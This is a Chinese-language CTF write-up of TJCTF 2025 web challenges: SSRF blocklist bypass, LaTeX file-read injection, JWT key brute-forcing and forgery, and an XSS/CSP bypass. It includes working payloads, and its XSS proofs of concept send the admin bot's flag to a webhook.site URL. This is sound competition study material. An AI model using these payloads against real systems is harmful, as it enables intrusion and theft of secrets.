题目来源
地址:https://ctf.tjctf.org/challs
时间:2025.6.7 - 2025.6.8
loopy
考点
- SSRF Bypass
内容
题目描述:Can you access the admin page? Running on port 5000
分析
- 随便输入一个 url 发现直接解析出来对应 HTML
- 访问
https://loopy.tjc.tf//admin
,回显:Access denied. Admin panel only accessible from server side. 一眼 SSRF。 - 搜一些 ssrf bypas,注意题目说了端口在 5000。
- 先试试 0.0.0.0,回显:Access denied. URL parameter included one or more of the following banned keywords: 0.0.0.0, ::1, 2130706433, local, ffff, [::], 017700000001, 127
- 说明是黑名单,用
http://0:5000
绕过 - 访问
http:/0:5000/flag
,得到 flag
TeXploit
考点
- LaTex compiler to pdfs
- xor 42
内容
题目描述:I made a LaTex compiler that can generate pdfs. It even prints the log file if there is an error. The flag is located in /flag.txt
.
进入后回显:Your code will be placed inside a minimal LaTeX document.
分析
这里可以把文字 compile 成 PDF,有问题的话会打印 log,应该是利用 log 去执行
cat /flag.txt
搜了一下没咋看懂,但是找了一个 payload 使用 input,报错,发现在黑名单:
Error: Input contains the blacklisted term 'input'.
同样 ban 了的还有 repeat目前的思路一个是用网上的 poc 看看能不能把文件读到 pdf 里面,第二个是用 log 看看能不能得到 flag。
执行如下代码的时候报错(网上的 poc)
1
2
3
4
5\\newread\\file
\\openin\\file=/flag.txt
\\read\\file to\\line
\\text{\\line}
\\closein\\file问了 GPT 说是 text{\line}这个写法是错误的,不知道为啥会这样。但是 GPT 提供思路说可以写进 log 中用于 debug时用,正和题目意思。
1
2
3
4
5\\newread\\file
\\openin\\file=/etc/passwd
\\read\\file to\\line
\\ttfamily \\line
\\closein\\file这个可以执行,但是变成 /flag.txt 就不行了。原因是被读出来的那一行里含有 LaTeX 把它当“数学下标”的字符,最常见的就是下划线 。那么执行
\\ttfamily \\line
的时候TeX 看到 flag{xxx_xxx}就误以为你要在数学模式里写下标,但此刻你不在数学模式,TeX 就报 “Missing $ inserted.”。那么就使用用
\\detokenize
把任意字符都当“普通字符”来处理,这样处理下划线的问题针对
{
、}
的问题:TeX 会 自动将{
识别为控制符起始,然后把/flag
当作一个 token,忽略后面部分,所以在使用\\detokenize
前先展开 flag的值,也就是使用\\edef
1 | \\newread\\file |
也可以使用写入 log 的思路,直接使用
errmessage
,报错直接输出然后中断。1
2
3
4
5\\newread\\file
\\newcommand{\\line}{}
\\openin\\file=/flag.txt
\\read\\file to \\line
\\errmessage{\\line}注意这里不能用
typeout
和message
来写进log
,可能是这里没写入东西最后log没有存储 那一行的内容,或者log
回显的不够详细。所以用errmessage
直接强制中断然后返回 flag。
参考
front-door
考点
- JWT
- 伪哈希
内容
题目描述:The admin of this site is a very special person. He’s so special, everyone strives to become him.
product 有回显一段 代码:
1 | def has(inp): |
分析
这两行代码应该是生成伪哈希,作为 jwt_token。现在要想办法破解 admin 的jwt_token登陆进去
1
2
3
4
5
6
7
8
9def has(inp):
hashed = ""
key = jwt_key
for i in range(64):
hashed = hashed + hash_char(inp[i % len(inp)], key[i % len(key)])
return hashed
def hash_char(hash_char, key_char):
return chr(pow(ord(hash_char), ord(key_char), 26) + 65)先create一个psych/psych,得到 token:
token=eyJhbGciOiAiQURNSU5IQVNIIiwgInR5cCI6ICJKV1QifQ.eyJ1c2VybmFtZSI6ICJwc3ljaCIsICJwYXNzd29yZCI6ICJwc3ljaCIsICJhZG1pbiI6ICJmYWxzZSJ9.JZOAYHBBBBNBDDQABXBFJOABZBLBBSOBVLBWVBQRSJJBOJYXDQZBEIRQBSOOFFWB
解码出来:
1 | header: |
这里的 “alg”: “ADMINHASH”应该就是上面那个自定义的方式。应该可以通过这里破解出 jwt_key
这个 hash_char 对每个输出字符都是:
sig[i] = chr( pow( ord(inp[i]), ord(key[i_mod_keylen]), 26 ) + 65 )
其中
inp[i]
和最后的 signature 是已知的1
2
3
4
5
6
7
8
9
10
11
12header = {"alg":"ADMINHASH","typ":"JWT"}
h_b64 = base64url(json.dumps(header).encode())
payload = {"username":"psych","password":"psych","admin":"false"}
p_b64 = base64url(json.dumps(payload).encode())
inp = f"{h_b64}.{p_b64}"
# token = f"{h_b64}.{p_b64}.{signature}"
# signature = has(inp),通过这里爆破出 jwt_key
inp = eyJhbGciOiAiQURNSU5IQVNIIiwgInR5cCI6ICJKV1QifQ.eyJ1c2VybmFtZSI6ICJwc3ljaCIsICJwYXNzd29yZCI6ICJwc3ljaCIsICJhZG1pbiI6ICJmYWxzZSJ9
signature = JZOAYHBBBBNBDDQABXBFJOABZBLBBSOBVLBWVBQRSJJBOJYXDQZBEIRQBSOOFFWB上面 has 部分就是取模部分暴力逆向破解一下,GPT给出脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41#!/usr/bin/env python3
import base64, itertools, string
sig = "JZOAYHBBBBNBDDQABXBFJOABZBLBBSOBVLBWVBQRSJJBOJYXDQZBEIRQBSOOFFWB"
inp = "eyJhbGciOiAiQURNSU5IQVNIIiwgInR5cCI6ICJKV1QifQ.eyJ1c2VybmFtZSI6ICJwc3ljaCIsICJwYXNzd29yZCI6ICJwc3ljaCIsICJhZG1pbiI6ICJmYWxzZSJ9"
# 暴力破解
def all_k(h, c):
return [k for k in range(32, 127) if pow(h, k, 26) == c]
# 计算候选钥字
candidates = [all_k(ord(inp[i % len(inp)]), ord(sig[i]) - 65) for i in range(64)]
def try_len(L):
pools = [set(range(32, 127)) for _ in range(L)]
for i, cand in enumerate(candidates):
pools[i % L] &= set(cand)
if not pools[i % L]:
return None
return pools
for L in range(1, 33): # 1..32 字节钥长枚举
pools = try_len(L)
if not pools: # 矛盾
continue
# 回溯拼装
def dfs(pos, key_so_far):
if pos == L:
key_bytes = key_so_far.encode()
# 检验
out = "".join(chr(pow(ord(inp[i % len(inp)]),
key_bytes[i % L], 26) + 65) for i in range(64))
if out == sig:
print("FOUND:", key_so_far)
raise SystemExit
return
for k in pools[pos]:
dfs(pos+1, key_so_far + chr(k))
dfs(0, "")
print("not found within length 32")得到
jwt_key = " !
bAC “` 注意前后空格,特别坑。然后把 admin 修改为 true登陆。页面发生变化,点击 ToDo,怎么变成 misc了(1
2
3
4
5if you want to read my todo list you must be me and understand my secret code!
[108, 67, 82, 10, 77, 70, 67, 94, 73, 66, 79, 89]
[107, 78, 92, 79, 88, 94, 67, 89, 79, 10, 73, 69, 71, 90, 75, 68, 83]
[105, 88, 79, 75, 94, 79, 10, 8, 72, 95, 89, 67, 68, 79, 89, 89, 117, 89, 79, 73, 88, 79, 94, 89, 8, 10, 90, 75, 77, 79, 10, 7, 7, 10, 71, 75, 78, 79, 10, 67, 94, 10, 72, 95, 94, 10, 68, 69, 10, 72, 95, 94, 94, 69, 68, 10, 94, 69, 10, 75, 73, 73, 79, 89, 89, 10, 83, 79, 94]
[126, 75, 65, 79, 10, 69, 92, 79, 88, 10, 94, 66, 79, 10, 93, 69, 88, 70, 78, 10, 7, 7, 10, 75, 70, 71, 69, 89, 94, 10, 78, 69, 68, 79]这里直接问 GPT 可能的加密方式。上面说应该是 xor 42 来加密的,直接再 xor 42就可解密
为什么会想到 “和 42 异或”?
现象 线索 大多数数值落在 65-95(’A’-‘_’)区间 像把可打印字符做了某种固定位运算 出现 10 (换行 \n)保持不变 经典“把明文 XOR 一个常量”后,\n 就会变成 10 ⊕ key;如果 key 是 42 就回到 32 (空格) 或保持 10 用一些常见异或键(13、23、32、42…)试一下 42 很快能得到可读英文 1
2
3
4
5
6
7
8
9
10
11l1 = [108, 67, 82, 10, 77, 70, 67, 94, 73, 66, 79, 89]
l2 = [107, 78, 92, 79, 88, 94, 67, 89, 79, 10, 73, 69, 71, 90, 75, 68, 83]
l3 = [105, 88, 79, 75, 94, 79, 10, 8, 72, 95, 89, 67, 68, 79, 89, 89, 117, 89, 79, 73, 88, 79, 94, 89, 8, 10, 90, 75, 77, 79, 10, 7, 7, 10, 71, 75, 78, 79, 10, 67, 94, 10, 72, 95, 94, 10, 68, 69, 10, 72, 95, 94, 94, 69, 68, 10, 94, 69, 10, 75, 73, 73, 79, 89, 89, 10, 83, 79, 94]
l4 = [126, 75, 65, 79, 10, 69, 92, 79, 88, 10, 94, 66, 79, 10, 93, 69, 88, 70, 78, 10, 7, 7, 10, 75, 70, 71, 69, 89, 94, 10, 78, 69, 68, 79]
for line in (l1, l2, l3, l4):
print(''.join(chr(n ^ 42) for n in line))
---
Fix glitches
Advertise company
Create "business_secrets" page -- made it but no button to access yet
Take over the world -- almost done访问 /business_secrets 得到 flag
hidden-canvas
考点
- 标题元数据(caption metadata)
内容
题目描述:I made this site where you can upload profile pictures, if you happen to embed caption metadata within your image, I’ll try displaying it on your profile page.
分析
- 根据描述,可以知道如果 嵌入标题元数据(embed caption metadata),就会在个人资历里面显示出来。所以应该是这个 caption metadata 可以有操作空间。
- buhui.
double-nested
考点
- CSP bypas
- XSS get Flag
内容
题目描述:get creative! there are a few flaws in the filters…
附件:
有两个页面一个admin bot 可以访问主页,主页有两个路由,
/
路由会render_template
主页,/gen
路由会发起请求并可以执行 JS1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22from flask import Flask, render_template, request
import re
app = Flask(__name__)
def index():
i=request.args.get("i", "double-nested")
return render_template("index.html", i=sanitize(i))
def sanitize(input):
input = re.sub(r"^(.*?=){,3}", "", input)
forbidden = ["script", "http://", "&", "document", '"']
if any([i in input.lower() for i in forbidden]) or len([i for i in range(len(input)) if input[i:i+2].lower()=="on"])!=len([i for i in range(len(input)) if input[i:i+8].lower()=="location"]): return 'Forbidden!'
return input
def gen():
query = sanitize(request.args.get("query", ""))
return query, 200, {'Content-Type': 'application/javascript'}
if __name__ == '__main__':
app.run()主页有 i 的回显以及 设定了 CSP
1
2
3
4
5
6
7
8
9
10
11
12
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="Content-Security-Policy" content=" default-src 'self'; script-src 'self'; style-src 'self'; img-src 'none'; object-src 'none'; frame-src data:; manifest-src 'none'; ">
<title>double-nested</title>
</head>
<body>
<h1>{{i|safe}}</h1>
</body>
</html>admin 可以去访问这个页面并携带 flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18import flag from './flag.txt';
function sleep(time) {
return new Promise(resolve => {
setTimeout(resolve, time)
});
}
export default {
id: 'double-nested',
name: 'double-nested',
urlRegex: /^https:\\/\\/double-nested\\.tjc\\.tf\\//,
timeout: 10000,
handler: async (url, ctx) => {
const page = await ctx.newPage();
await page.goto(url + flag, { timeout: 3000, waitUntil: 'domcontentloaded' });
await sleep(5000);
}
};
分析
访问
/
路由并携带i
参数,通过render
注入页面,这里可以闭合然后 XSS 去指向/gen
路由,然后这个路由接收一个query
参数并当作 JS 去 return。前提是绕过
sanitize
和CSP
。对于sanitize
的绕过,在前面拼接三个=x=x=x
,替换为空之后后面的就为 payload,然后黑名单就使用 base64 去绕过。CSP 的限制如下,发现
frame-src data:;
——允许把 data: URI 放进<iframe>
1
2
3
4
5
6
7default-src 'self';
script-src 'self';
style-src 'self';
img-src 'none';
object-src 'none';
frame-src data:;
manifest-src 'none';- 因此可以在最外层写一个 iframe 并把 base64 编码后的 data放入这个iframe 来绕过 CSP
?i=x=x=x=</h1><iframe src='data:text/html;base64,{toGen}' name=
这里的toGen
放 base64 后的内容,去访问/gen
并通过query
传入 JS 语句通过window.open
获得 flag 并外带。- 注意加上
name=
然后 bot 去访问的时候会在后面加上url + flag
,也就是最后 bot 去访问的 url 为:?i=x=x=x=</h1><iframe src='data:text/html;base64,{toGen}' name=tjctf{xxx}
(这里还会加上浏览器自动为 h1 闭合的</h1
最后这个>
自动作为iframe
最后的闭合,使得语句完整)这个时候使用 windows.name 就可以获取到 这个 iframe 的name,也就是 bot 里面注入的 flag。这里也是考虑到在 iframe 里面要拿到这个 flag,因为不同源没办法拿到父页面的数据,如果是直接把 flag 当作访问父页面的 url 的一部分的话,就没办法在 iframe 里面构造 JS 拿到。
这里访问
/gen
需要构造的 data 内容为:<script src='<https://double-nested.tjc.tf/gen?query=x=x=x={getFlag}>'></script>
,这里的getFlag
是获得 flag 并外带:document.addEventListener('DOMContentLoaded', () => {window.open('<https://webhook.site/xxx/?flag=>' + **window.name**);});
- 注意这里iframe 和父页面不同源,所以访问不了父页面的 window.location.href。所以改用
window.name
直接获取 iframe 中的 name 属性,然后后面构造 js 使得 flag 传入时被当做 iframe 的 name attribute
- 注意这里iframe 和父页面不同源,所以访问不了父页面的 window.location.href。所以改用
其中这里 query 也需要绕过
sanitize
因此document
需要编码一下,直接替换为\\\\u0064\\\\u006f\\\\u0063\\\\u0075\\\\u006d\\\\u0065\\\\u006e\\\\u0074
整个的 poc 为
1 | from urllib.parse import quote |
如果不把 flag 注入 iframe 的 name,而是直接作为 url 的话,可以尝试使
document.referrer
去获取。那么这里要闭合iframe
和处理</h1>
。先简单验证了一下,拿不到flag。Inside an
<iframe>
, theDocument.referrer
will initially be set to thehref
of the parent’sWindow.location
in same-origin requests. In cross-origin requests, it’s theorigin
of the parent’sWindow.location
by default.1
2
3
4
5
6
7
8
9from urllib.parse import quote
import base64
# <https://webhook.site/9628ad29-b676-4673-9677-c43f535512ce>
poc2 = "\\\\u0064\\\\u006f\\\\u0063\\\\u0075\\\\u006d\\\\u0065\\\\u006e\\\\u0074.addEventListener('\\\\u0044\\\\u004f\\\\u004d\\\\u0043\\\\u006f\\\\u006e\\\\u0074\\\\u0065\\\\u006e\\\\u0074\\\\u004c\\\\u006f\\\\u0061\\\\u0064\\\\u0065\\\\u0064', () => {window.open('<https://webhook.site/xxx/?flag1=>' + \\\\u0064\\\\u006f\\\\u0063\\\\u0075\\\\u006d\\\\u0065\\\\u006e\\\\u0074.referrer);});"
poc1 = "<script src='<https://double-nested.tjc.tf/gen?query=x=x=x={}>'></script>".format(quote(poc2))
poc = "?i=x=x=x=<iframe src='data:text/html;base64,{}'><h1>".format(base64.b64encode(poc1.encode()).decode())
print(quote(poc))然后在大佬 BLOG 中发现需要设置
referrerPolicy
attribute.I was reading through the documentations of
<iframe>
and then I realized that it also hasreferrerPolicy
attribute.- 这里的主要漏洞应该是 chrome 的问题导致可以在 iframe 中拿到父页面 referrer,但是图片貌似是被 block 的(BLOG 中是这样说的),所以需要先在 iframe 中设置
referrerpolicy='unsafe-url'
再次测试发现成功获得 url。 - 没理解为什么这里 image 被 block。问了 GPT,浏览器的默认 Referrer-Policy 是
strict-origin-when-cross-origin
,它的行为是:1. 同源请求 (HTTPS→HTTPS):发送完整 URL;2. 跨源请求 (包括 data:、blob:、其它 scheme):只发送源(origin),或对于“不安全”目的地(如从 HTTPS→data:)根本不发送 Referer 头。 - 因此对于我们这个场景,是需要在 iframe 中获得主页面的 Referer 头,属于不安全的目的地,根本不会发送。因此需要手动把
referrerpolicy
设置为'unsafe-url'
这样才能使得任何目的地都能发送,使得 Iframe 能够拿到父页面的 Referer 头。然后 iframe 里面刚好可以有referrerpolicy
这个 attribute 可以进行修改。
1
2
3
4
5
6
7
8from urllib.parse import quote
import base64
poc2 = "top.location = '<https://webhook.site/xxx/?flag='+window['doc'+'ument>'].referrer"
poc1 = "<script src='<https://double-nested.tjc.tf/gen?query=x=x=x={}>'></script>".format(quote(poc2))
poc = "?i=x=x=x=<iframe referrerpolicy='unsafe-url' src='data:text/html;base64,{}'><h1>".format(base64.b64encode(poc1.encode()).decode())
print(quote(poc))- 这里的主要漏洞应该是 chrome 的问题导致可以在 iframe 中拿到父页面 referrer,但是图片貌似是被 block 的(BLOG 中是这样说的),所以需要先在 iframe 中设置